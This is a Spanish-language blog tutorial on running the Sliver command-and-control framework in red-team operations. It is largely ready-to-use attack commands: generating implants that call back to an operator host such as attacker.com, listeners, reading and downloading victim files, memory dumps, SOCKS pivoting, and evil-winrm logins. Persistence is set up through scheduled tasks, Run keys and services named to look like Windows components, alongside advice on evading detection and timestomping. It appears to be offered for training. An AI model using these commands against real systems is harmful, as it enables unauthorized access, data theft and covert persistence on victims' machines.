Introducción
Sliver es un framework de Command and Control (C2) de código abierto desarrollado por BishopFox, diseñado específicamente para operaciones de Red Team y simulación de adversarios. Su propósito principal es gestionar y operar sistemas ya comprometidos, posicionándose en la fase de Post-Explotación según el framework MITRE ATT&CK.
┌─────────────────────────────────────────────────────────────────┐
│ MITRE ATT&CK Framework │
├─────────────────────────────────────────────────────────────────┤
│ Reconnaissance → Initial Access → Execution → Persistence → │
│ Privilege Escalation → Defense Evasion → Credential Access → │
│ Discovery → Lateral Movement → Collection → C2 → Exfiltration │
│ ▲ │
│ │ │
│ [SLIVER] │
└─────────────────────────────────────────────────────────────────┘
¡Importante!: Sliver permite realizar acciones avanzadas de manera automatizada. Si eres principiante, te recomiendo encarecidamente practicar los ataques de forma manual primero. Entender el cómo y el por qué funcionan las cosas es infinitamente más valioso que copiar y pegar comandos como monos entrenados :)
¿Qué NO es Sliver?
Antes de continuar, desmitifiquemos algo que parece no quedar claro para muchos:
| Lo que Sliver NO hace | Lo que Sliver SÍ hace |
|---|---|
| Hackear sistemas mágicamente | Gestionar sistemas ya comprometidos |
| Explotar vulnerabilidades | Ejecutar comandos post-explotación |
| Hacer ingeniería social por ti | Mantener acceso persistente |
| Convertirte en hacker | Centralizar operaciones C2 |
Para llegar al punto donde Sliver es útil, primero necesitas dominar técnicas de acceso inicial: phishing, ingeniería social, explotación de vulnerabilidades, desarrollo de malware, y un extenso etcétera. Sliver es el paso después de que ya tienes un pie dentro.
Arquitectura de Sliver
Todo framework C2 se estructura en componentes cliente-servidor. En Sliver, esta arquitectura se compone de tres elementos fundamentales:
Servidor (Server)
Este es el cerebro de la operación y es responsable de cosas como:
- Configuración general del framework
- Gestión centralizada de todos los sistemas comprometidos
- Compilación dinámica de implantes
- Almacenamiento de datos de operación
- etc, etc, etc
Cliente/Implante (Implant)
El cliente (conocido como Implant en el mundillo de Sliver) es el agente que se ejecuta en el sistema víctima. Sus principales características son:
- Binario compilado específicamente para el target
- Establece comunicación con el servidor
- Ejecuta comandos recibidos del operador
- Puede operar en modo session o beacon (este concepto es importante)
Session vs Beacon: Las sessions mantienen una conexión persistente en tiempo real, mientras que los beacons operan de forma asíncrona con intervalos de “check-in” configurables. Los beacons son más sigilosos para operaciones prolongadas.
Listener
Componente del servidor que escucha conexiones entrantes de los implantes. En Sliver los listeners soportan los siguientes protocolos:
| Protocolo | Puerto Común | Uso Recomendado | Consideraciones |
|---|---|---|---|
| mTLS | 443 | Operaciones generales | Rápido, cifrado, difícil de inspeccionar |
| HTTPS | 443, 8443 | Ambientes corporativos | Se mezcla con tráfico legítimo |
| HTTP | 80, 8080 | Testing, labs | Sin cifrado, fácilmente detectable |
| DNS | 53 | Ambientes restrictivos | Muy lento, pero evade muchos firewalls |
| WireGuard | 51820 | Túneles seguros | Excelente para pivoting |
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ SERVIDOR │◄────────│ LISTENER │◄────────│ IMPLANTE │
│ (Kali) │ mTLS │ (443) │ mTLS │ (Windows) │
└──────────────┘ └──────────────┘ └──────────────┘
│ │
│ Comunicación Bidireccional │
└───────────────────────────────────────────────────┘
Instalación del Servidor
La instalación de Sliver en sistemas basados en Debian/Ubuntu es trivialmente simple:
# Instalación automática (recomendado)
curl https://sliver.sh/install | sudo bash
Este script descarga e instala todas las dependencias necesarias y configura el demonio del servicio automáticamente.
Verificación del Servicio
# Verificar estado del demonio
sudo systemctl status sliver
# Output esperado:
# ● sliver.service - Sliver C2 Server
# Active: active (running)
Comandos de Gestión del Servicio
# Iniciar el servicio (no inicia automáticamente al reiniciar)
sudo systemctl start sliver
# Detener el servicio
sudo systemctl stop sliver
# Habilitar inicio automático (opcional)
sudo systemctl enable sliver
# Acceder a la CLI del servidor
sliver
Nota: El servidor de Sliver no se inicia automáticamente al reiniciar la máquina. Deberás ejecutar
sudo systemctl start slivermanualmente o habilitar el servicio conenable.
Generación de Implantes
Una vez dentro de la CLI de Sliver, podemos generar nuestros implantes. Primero, familiarízate con los comandos disponibles:
sliver > help
Comando generate
El comando generate es el núcleo de la creación de implantes. Su sintaxis básica es:
generate [flags]
Flags Principales
| Flag | Descripción | Ejemplo |
|---|---|---|
-o, --os |
Sistema operativo target | -o windows, -o linux |
-a, --arch |
Arquitectura del procesador | -a amd64, -a 386, -a arm64 |
--mtls |
Usar protocolo mTLS | --mtls 192.168.1.100:443 |
--http |
Usar protocolo HTTP/S | --http 192.168.1.100:80 |
--dns |
Usar protocolo DNS | --dns attacker.com |
-s, --save |
Ruta donde guardar el binario | -s /tmp/implant.exe |
-n, --name |
Nombre personalizado | -n target-implant |
--skip-symbols |
Omitir símbolos (reduce tamaño) | --skip-symbols |
-f, --format |
Formato de salida | -f exe, -f shared, -f shellcode |
Ejemplo Práctico: Implante Windows con mTLS
sliver > generate -o windows -a amd64 --mtls 192.168.56.105:443
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 42s
[*] Implant saved to /home/kali/.sliver/builds/RANDOM_NAME.exe
Generación de Implantes Avanzados
# Implante como shellcode (útil para loaders personalizados)
generate -o windows -a amd64 --mtls 192.168.56.105:443 -f shellcode
# Implante como DLL (para DLL hijacking/sideloading)
generate -o windows -a amd64 --mtls 192.168.56.105:443 -f shared
# Beacon en lugar de session (más sigiloso)
generate beacon -o windows -a amd64 --mtls 192.168.56.105:443 --seconds 30 --jitter 10
Sobre la evasión: Sliver genera binarios con firmas únicas cada vez gracias a su compilación dinámica. Esto evade antivirus basados únicamente en firmas (sí, aún existen en 2026). Sin embargo, los EDR/XDR modernos detectan amenazas basándose en telemetría y comportamiento, haciendo la evasión por firmas prácticamente inútil en ambientes bien protegidos, como los que tienen al buen Windows Defender como primera línea de defensa. (xD)
Listeners: El Arte de Escuchar
Antes de ejecutar cualquier implante, debes configurar un listener. Sin listener, el implante no tiene a dónde conectarse.
Tipos de Listeners
# Listener mTLS (recomendado para mayoría de casos)
sliver > mtls -L 192.168.56.105 -l 443
# Listener HTTPS
sliver > https -L 192.168.56.105 -l 443 -d attacker.com
# Listener HTTP (solo para labs, nunca en producción)
sliver > http -L 192.168.56.105 -l 80
# Listener DNS (para ambientes muy restrictivos)
sliver > dns -d attacker.com
# Listener WireGuard
sliver > wg -l 51820
Parámetros Comunes
| Parámetro | Descripción |
|---|---|
-L |
IP del servidor donde escuchar |
-l |
Puerto de escucha |
-d |
Dominio (para DNS/HTTPS) |
-c |
Certificado personalizado |
-k |
Llave privada |
Gestión de Listeners
# Ver listeners activos
sliver > jobs
# Terminar un listener específico
sliver > jobs -k [JOB_ID]
# Terminar todos los listeners
sliver > jobs -K
Gestión de Sesiones
Una vez que el implante se ejecuta en el target y se conecta al listener, obtenemos una sesión.
Visualizar Sesiones
sliver > sessions
ID Transport Remote Address Hostname Username OS/Arch
========== =========== ==================== =============== ========== ====================
17ec36bc mtls 192.168.56.110:52431 DESKTOP-TARGET victim windows/amd64
Interactuar con una Sesión
# Usando el ID completo o parcial
sliver > sessions -i 17ec36bc
# Ahora el prompt cambia indicando la sesión activa
sliver (RANDOM_NAME) >
Comandos Útiles en Sesión
# Información del sistema
sliver (session) > info
sliver (session) > whoami
sliver (session) > getuid
sliver (session) > getpid
# Navegación del filesystem
sliver (session) > pwd
sliver (session) > ls
sliver (session) > cd C:\\Users
sliver (session) > cat C:\\Users\\victim\\Desktop\\secrets.txt
# Transferencia de archivos
sliver (session) > upload /local/path/file.exe C:\\Windows\\Temp\\file.exe
sliver (session) > download C:\\Users\\victim\\Documents\\data.docx /local/path/
# Ejecución de comandos
sliver (session) > shell # Shell interactiva
sliver (session) > execute -o whoami # Comando simple con output
sliver (session) > execute-assembly /path/to/tool.exe # Ejecutar .NET assemblies
# Procesos
sliver (session) > ps # Listar procesos
sliver (session) > procdump -p [PID] # Dump de memoria de proceso
sliver (session) > migrate -p [PID] # Migrar a otro proceso
# Gestión de sesión
sliver (session) > background # Enviar a segundo plano
sliver (session) > rename -n "DC-Admin" # Renombrar sesión
sliver (session) > kill # Terminar sesión
Extensiones y Armory
Sliver incluye un sistema de extensiones llamado Armory que permite cargar herramientas adicionales, pero esto lo dejaré para una entrada más avanzada del blog:
# Listar extensiones disponibles
sliver > armory
# Instalar una extensión
sliver > armory install [extension-name]
# Algunas extensiones populares:
# - rubeus: Ataques Kerberos
# - seatbelt: Enumeración de seguridad
# - sharpwmi: Ejecución remota vía WMI
Pivoting y Port Forwarding
¿Qué es Pivoting?
El pivoting (también conocido como lateral movement) es una técnica que permite usar un sistema comprometido como “puente” para acceder a otros sistemas en la red que no son directamente alcanzables desde nuestra máquina atacante.
┌─────────────┐ ┌─────────────────┐
│ ATACANTE │ │ RED INTERNA │
│ (Kali) │ │ │
│ │ ╔═══════════╗ │ ┌───────────┐ │
│ │◄───║ VÍCTIMA ║───┼──│ Server A │ │
│ │ ║ (Pivot) ║ │ │ 10.0.0.10 │ │
│ │ ╚═══════════╝ │ └───────────┘ │
│ │ │ │ ┌───────────┐ │
│ │ └──────────┼──│ Server B │ │
│ NO HAY │ │ │ 10.0.0.20 │ │
│ ACCESO │────────────────────│ └───────────┘ │
│ DIRECTO │ │ │
└─────────────┘ └─────────────────┘
¿Qué es Port Forwarding?
El port forwarding es una técnica que redirige el tráfico de un puerto específico hacia otro destino. Existen varios tipos:
| Tipo | Descripción | Uso Común |
|---|---|---|
| Local | Redirige puerto local hacia destino remoto | Acceder a servicios internos |
| Remote | Expone puerto local en sistema remoto | Reverse shells, callbacks |
| Dynamic | Crea proxy SOCKS para múltiples puertos | Scanning, navegación |
Implementación en Sliver
Enumeración de Puertos Internos
Primero es importante identificar qué servicios están corriendo internamente en la víctima:
sliver (session) > execute -o "netstat -ano | findstr 127.0.0.1"
# O usando PowerShell
sliver (session) > execute -o "powershell -c Get-NetTCPConnection -LocalAddress 127.0.0.1"
De esta forma podemos verificar si efectivamente la víctima está corriendo servicios internos que desde nuestro Kali no podemos enumerar.
SOCKS5 Proxy (Proxy Dinámico)
La forma más versátil de hacer pivoting en Sliver es usando SOCKS5, aunque Ligolo me hace la vida más fácil, pero eso será tema para otro día:
# Iniciar proxy SOCKS5
sliver (session) > socks5 start
[*] Started SOCKS5 server on 127.0.0.1:1081
# El proxy ahora estará corriendo en tu Kali en el puerto 1081
Configuración de Proxychains
Edita /etc/proxychains4.conf:
# Comentar o eliminar cualquier proxy existente al final del archivo
# Agregar la siguiente línea:
socks5 127.0.0.1 1081
Uso con Proxychains
Ahora puedes alcanzar servicios internos de la red víctima:
# Escaneo de puertos internos
proxychains nmap -sT -Pn 10.0.0.10 -p 445,3389,22
# Conexión RDP a servidor interno
proxychains xfreerdp /v:10.0.0.10 /u:admin
# SMB enumeration
proxychains crackmapexec smb 10.0.0.0/24
# Evil-WinRM a DC interno
proxychains evil-winrm -i 10.0.0.10 -u administrator -p 'Password123!'
Port Forwarding Específico
Para redirigir un puerto específico:
# Redirigir puerto local 8080 hacia puerto 80 interno de 10.0.0.10
sliver (session) > portfwd add -b 127.0.0.1:8080 -r 10.0.0.10:80
# Listar port forwards activos
sliver (session) > portfwd
# Eliminar un port forward
sliver (session) > portfwd rm -i [ID]
Técnicas de Persistencia
¿Qué es Persistencia?
La persistencia se refiere a técnicas que permiten mantener acceso a un sistema comprometido incluso después de reinicios, cierres de sesión, o intentos de eliminación del malware. En MITRE ATT&CK, esto corresponde a la táctica TA0003 - Persistence.
Advertencia: Las siguientes técnicas deben usarse únicamente en entornos autorizados y controlados. El acceso no autorizado a sistemas es ilegal, no seas idiota, valora tu libertdad.
Tareas Programadas (Scheduled Tasks)
MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task
Las tareas programadas permiten ejecutar código en momentos específicos o eventos del sistema.
# Crear tarea que se ejecuta al iniciar el sistema
schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\update.exe" /sc onstart /ru SYSTEM /f
# Crear tarea que se ejecuta cada hora
schtasks /create /tn "SecurityScan" /tr "C:\ProgramData\scan.exe" /sc hourly /ru SYSTEM /f
# Crear tarea que se ejecuta al logon de cualquier usuario
schtasks /create /tn "Updater" /tr "C:\ProgramData\update.exe" /sc onlogon /f
# Listar tareas (verificación)
schtasks /query /tn "WindowsUpdate"
# Eliminar tarea (cleanup)
schtasks /delete /tn "WindowsUpdate" /f
Consideraciones OPSEC:
- Usar nombres que se mezclen con tareas legítimas de Windows
- Evitar nombres obvios como “backdoor” o “malware”
- Considerar el usuario bajo el cual corre la tarea
Registry Run Keys
MITRE ATT&CK: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys
Las claves de registro Run ejecutan programas automáticamente al inicio de sesión.
# Persistencia para usuario actual (HKCU - no requiere admin)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Users\Public\health.exe" /f
# Persistencia para todos los usuarios (HKLM - requiere admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\ProgramData\health.exe" /f
# Verificar registro
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
# Eliminar entrada (cleanup)
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
Otras claves de registro útiles:
# RunOnce (se ejecuta una vez y se elimina)
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Run en Wow6432Node (para binarios de 32-bit en sistemas 64-bit)
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
Servicios de Windows
MITRE ATT&CK: T1543.003 - Create or Modify System Process: Windows Service
Los servicios de Windows proporcionan persistencia de alto privilegio.
# Crear servicio (requiere admin)
sc.exe create "WindowsSecurityService" binPath= "C:\ProgramData\security.exe" start= auto DisplayName= "Windows Security Service"
# Configurar descripción para parecer legítimo
sc.exe description "WindowsSecurityService" "Provides security monitoring and threat protection"
# Iniciar servicio manualmente
sc.exe start "WindowsSecurityService"
# Verificar estado
sc.exe query "WindowsSecurityService"
# Eliminar servicio (cleanup)
sc.exe stop "WindowsSecurityService"
sc.exe delete "WindowsSecurityService"
Tip: Los servicios corren como SYSTEM por defecto, proporcionando máximos privilegios. Sin embargo, son más visibles y monitoreados por soluciones de seguridad.
Otras Técnicas de Persistencia
| Técnica | MITRE ID | Privilegios | Detectabilidad |
|---|---|---|---|
| Startup Folder | T1547.001 | Usuario | Baja |
| DLL Hijacking | T1574.001 | Varía | Media |
| WMI Event Subscription | T1546.003 | Admin | Alta |
| Logon Scripts | T1037.001 | Admin | Media |
| BITS Jobs | T1197 | Usuario | Media |
| COM Hijacking | T1546.015 | Usuario | Alta |
Consideraciones OPSEC
Buenas Prácticas Operacionales
- Naming conventions: Usa nombres que se mezclen con procesos legítimos
- Ubicación de archivos: Evita carpetas obvias como
DesktopoDownloads - Timestamps: Considera usar timestomping para modificar fechas de archivos
- Limpieza: Siempre ten un plan de cleanup post-operación
- Logs: Sé consciente de los logs que generas (Event Viewer, Sysmon, etc.)
Directorios “Seguros” para Implantes
C:\ProgramData\
C:\Windows\Temp\
C:\Users\Public\
%APPDATA%\Microsoft\
Referencias
Documentación Oficial
MITRE ATT&CK
Recursos Adicionales
Conclusión
Sliver es una herramienta poderosa en el arsenal de cualquier Red Teamer, pero recuerda: una herramienta es tan buena como quien la usa. No te limites a copiar comandos; entiende qué hace cada uno, por qué funciona, y cuándo es apropiado usarlo.
Si llegaste hasta aquí, felicidades. Ya tienes las bases para empezar a experimentar con Sliver en tu laboratorio. Ahora sal de aquí y ponte a practicar, que leer tutoriales no te hace hacker.
Nos vemos en la próxima nota.
¿Encontraste un error o tienes sugerencias? Contáctame en mis redes.
Tags: Red Team C2 Sliver Post-Exploitation Persistence Pivoting